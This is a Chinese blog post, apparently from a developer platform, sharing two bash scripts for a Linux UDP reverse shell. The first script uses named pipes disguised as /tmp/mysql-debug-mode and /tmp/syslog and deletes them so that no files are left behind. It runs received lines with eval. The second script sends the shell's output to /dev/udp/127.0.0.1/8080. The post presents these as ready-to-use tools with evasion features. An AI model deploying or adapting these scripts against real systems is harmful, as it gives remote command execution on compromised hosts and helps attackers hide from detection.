linux udp反弹shell脚本,Linux UDP反弹shell脚本

* 无端口 * 成功启动后无残余文件 * 一般情况下没有UDP单包512字节的问题。当然你要是执行奇葩的命令我也没办法 * 非交互式shell,也就是说,你不能用回车来写多行命令。这个问题不是不能解决,而是如果解决这个问题,会造成另外一个我不能忍受的问题。而且反

* 无端口

* 成功启动后无残余文件

* 一般情况下没有UDP单包512字节的问题。当然你要是执行奇葩的命令我也没办法

* 非交互式shell,也就是说,你不能用回车来写多行命令。这个问题不是不能解决,而是如果解决这个问题,会造成另外一个我不能忍受的问题。而且反正可以执行命令了,自己另外反弹一个可交互的shell就是了

* 由于某些bash特性和某些我不能忍受的功能,某些子进程会在链接断开或者输入exit指令一段时间之后才会自动退出

图就不贴了,大家自己玩

#!/bin/bash

REVIP=127.0.0.1

REVPORT=8080

PIPE=/tmp/mysql-debug-mode

PIPE2=/tmp/syslog

TIMEOUT=20

rm -rf $PIPE

mknod $PIPE p

rm -rf $PIPE2

mknod $PIPE2 p

function KeepAlive(){

rm -rf $PIPE

rm -rf $PIPE2

while [ 1 == 1 ]

do

sleep $TIMEOUT

echo Connection: keep-alive or die

done

}

function DoRealShell(){

KeepAlive &

PIDALIVE=$!

while read line

do

if [ "$line" == "exit" ]

then

kill $PIDALIVE

kill $PIDCONN

kill $$

exit

fi

echo executing command: $line

eval $line

done

kill $PIDALIVE

kill $PIDCONN

kill $$

exit

}

function Shell(){

LENGTH=0

DoRealShell | while read line

do

echo $line

done

}

function StartShell(){

Shell >$PIPE2 2>&1

}

function MakeConn(){

echo Welcome back

cat $PIPE2 &

cat - >$PIPE &

}

MakeConn &0 1>&0

PIDCONN=$!

StartShell

rm -rf $PIPE

rm -rf $PIPE2

又研究了一下,其实根本没有那么复杂,而且完美解决退出和多行的问题,上个帖子你们就忽略吧 ‘

77c964a44078b66b4b39b1f2a54ea2ef.png

#!/bin/bash

exec 3>/dev/udp/127.0.0.1/8080

exec 2>&3

exec 1>&3

echo Welcom back

cat 0

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值